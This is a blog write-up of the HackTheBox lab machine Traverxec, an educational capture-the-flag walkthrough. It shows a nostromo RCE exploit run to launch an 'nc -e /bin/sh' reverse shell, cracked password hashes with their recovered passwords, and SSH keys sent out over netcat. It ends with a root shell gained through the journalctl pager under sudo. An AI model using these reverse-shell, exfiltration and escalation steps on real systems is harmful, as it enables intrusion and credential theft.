HackTheBox: Traverxec

01/13/2024

Hackthebox is offering a bunch of their retired easy machines for free until mid-august, so Im going to do a few of them on easy-mode following a writeup as a little break.

This one is officially rated easy but most of the user ratings place it at a medium. Not that it really matters to me, because Im just going to follow the writeup.

What Ill probably do is go as far as I can until I get stuck for more than ~30 mins, then go straight to the writeup.

Enumeration

As always, first step is to do a full port scan with nmap's '-p-' flag.

The only ports open are 22 and 80, ssh and http. Script scan tells us the server type is "nostromo 1.9.6" which Ive never heard of, but other than that we dont get much info. Time to run nikto.

While that's running, a quick google search shows that nostromo v 1.9.6 has an RCE vuln.

Remote Code Execution

I used this (https://github.com/AnubisSec/CVE-2019-16278/blob/master/nostroSploit.py) exploit code for CVE-2019-16278 to get a reverse shell:


$ python3 nostroSploit.py 10.10.10.165 80 "nc -e /bin/sh 10.10.14.12 9001" 

Unfortunately this is the same problem I had with busqueda: I cant tell if Im doing this the way its intended or if Im 'cheating', because the exploit I just used to catch a shell was published AFTER the box released. Ill check the writeup to see what they did, if they found the exploit manually or if they used some sort of premade PoC. Because I would like to learn to do it the hard way since that would be more useful to know in the long term.

Upgrade the reverse shell with


python3 -c 'import pty; pty.spawn("/bin/bash")'

www-data@traverxec:/usr/bin$ 

www-data@traverxec:/usr/bin$ export TERM=xterm
export TERM=xterm

So I'm the standard www-data dummy user.

Priv esc/ system enumeration

/etc/passwd shows a user david. I cant view his home directory.

I think my best bet right now would be to check for SUID bins and look through the web directories.

The conf file at /var/nostromo/conf/nhttpd.conf mentions that david is the server admin. The actual web page says his full name is David White.

The .htaccess file in /var/nostromo/conf gives us his hash, which appears to be MD5:


cat .htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

Let me load this and try to crack it with john.


$ john hash --wordlist=$ROCK

(I set the path to rockyou.txt in an environment variable ROCK by exporting it in .bashrc, since I use that wordlist so often. I did the same with the directory-list-2.3-medium wordlist for finding web directories.)

Success! We have a password:


Nowonly4me       (david)     

Okay. Let's SSH in as david and get serious.

Somewhat surprisingly, that didn't actually work; I guess his system password is different then his web admin password. I tried both 'ssh' and 'su' unsuccessfully. Maybe there's a SQL db running where those creds would work?

No SQL running that I can see, and there doesnt seem to be anything else of interest in the web root. Here's what I did to check services:


www-data@traverxec:/dev/shm/.shane$ netstat -punta

netstat -punta
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0    300 10.10.10.165:47062      10.10.14.12:9001        ESTABLISHED 15186/sh            
tcp        0      0 10.10.10.165:80         10.10.14.12:58492       ESTABLISHED 15186/sh            
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 10.10.10.165:50629      8.8.8.8:53              ESTABLISHED -          

No interesting writable root-owned files, no interesting SUIDs. I guess Ill get pspy and linpeas running in the background as recon.

Linpeas output

Did not seem to catch anything useful.

Pspy64

Nothing yet.

Getting a hint from the writeup

WHAT? I had no idea you could do that... apparently not having read perms on a directory doesnt stop you from reading SUBdirectories of that directory if you have read permissions on THEM. I never knew that. I thought removing read permissions on a directory was recursive in the sense that it blocked you from reading subdirs. But no, apparently not.

The writeup hinted that the nhttpd.conf file has the following lines:


# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

From this, he guessed that the user david may have a sub-directory called 'public_www' in his home dir, and tries to list it despite /home/david being read-protected:


$ ls -al /home/david/public_www

-rw-r--r-- 1 david david  402 Oct 25  2019 index.html
drwxr-xr-x 2 david david 4096 Oct 25  2019 protected-file-area

thats a cool trick.

Leaving the writeup and going solo again

with that useful hint, I should be able to keep moving on my own. Lets see whats in the secret folder in david's home dir:


$ ls /home/david/public_www/protected-file-area
ls /home/david/public_www/protected-file-area
backup-ssh-identity-files.tgz

Awesome, ssh keys. To exfiltrate them Im going to use netcat:

on local machine:


nc -nlvp 4444 > ssh.tgz

on target machine:


cat backup-ssh-identity-files.tgz | nc 10.10.14.12 4444

Got it. Lets unzip it and see what we've got:


$ gunzip ssh.tgz 

$ ls
ssh.tar

$ tar xvf ssh.tar 
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub

This appears to be a backup of david's home dir, with a .ssh dir and id_rsa keys. Awesome. The key is encrypted though, so we'll first have to crack it.


$ ssh2john id_rsa >> keyhash

$ john keyhash --wordlist=rockyou.txt

hunter           (id_rsa)     

Beautiful, we got creds:


hunter           (id_rsa)     

Now we can use the id_rsa key to ssh in as david.


$ ssh -i home/david/.ssh/id_rsa david@10.10.10.165

david@traverxec:~$ 

I went ahead and grabbed the user flag first.

I tried 'sudo -l ' unsuccessfully, since I dont know his password. Oh well.

Now lets enumerate:


david@traverxec:~$ ls -al
total 40
drwx--x--x 6 david david 4096 Jul 23 06:08 .
drwxr-xr-x 3 root  root  4096 Oct 25  2019 ..
lrwxrwxrwx 1 root  root     9 Oct 25  2019 .bash_history -> /dev/null
-rw-r--r-- 1 david david  220 Oct 25  2019 .bash_logout
-rw-r--r-- 1 david david 3526 Oct 25  2019 .bashrc
drwx------ 2 david david 4096 Jul 23 06:18 bin
drwxr-xr-x 3 david david 4096 Jul 23 06:08 .local
-rw-r--r-- 1 david david  807 Oct 25  2019 .profile
drwxr-xr-x 3 david david 4096 Oct 25  2019 public_www
drwx------ 2 david david 4096 Oct 25  2019 .ssh
-r--r----- 1 root  david   33 Jul 22 13:33 user.txt

The 'bin' directory looks interesting:


$ ls bin
server-stats.head  server-stats.sh

The .head file is just a banner, but the shell script has something interesting...


$ cat bin/server-stats.sh 
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat 

See it? In the last line, the script runs sudo without a password. We can infer from that that we are able to run 'sudo journalctl' without a password, though it may be restricted to 'sudo journalctl -unostromo.service'. A quick check confirms that this is the case, I can only run it on .service files apparently, and possible only the nostromo service file.

Lets check gtfobins for journalctl.

Okay, so i really am limited to just running that exact line from the script, which eliminates the gtfobin method. Lets see, can I write to the service file in /etc/systemd/system?

No, but maybe the sudo permission doesnt specify the absolute path of nostromo.service... if that were the case maybe I could make a symlink to something else in the bin directory and cause it to execute that instead...

Okay, I used the writeup and it was what I had thought, you exploit the journalctl pager to get a shell by typing '!/bin/sh'. Its just like that other box I did that I cant fucking remember now...

even after confirming it with the writeup though it took me a while to get it working, and I thought it was broken at first. Basically you have to resize the window so that it cant fit the entire output of the command


/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

on the screen at once, which will cause it to use the default pager (which is 'less'). Once the default pager appears you can type '!/bin/sh' to get a root shell.


david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Sun 2023-07-23 13:42:16 EDT, end at Sun 2023-07-23 13:51:22 EDT. --
Jul 23 13:42:18 traverxec systemd[1]: Starting nostromo nhttpd server...
Jul 23 13:42:18 traverxec systemd[1]: nostromo.service: Can't open PID file /var/nostromo/logs/nhttpd.pid (yet?) after start: No such file o
Jul 23 13:42:18 traverxec nhttpd[539]: started
Jul 23 13:42:18 traverxec nhttpd[539]: max. file descriptors = 1040 (cur) / 1040 (max)
Jul 23 13:42:18 traverxec systemd[1]: Started nostromo nhttpd server.
!/bin/sh
# whoami
root                                                                                                                                                        
#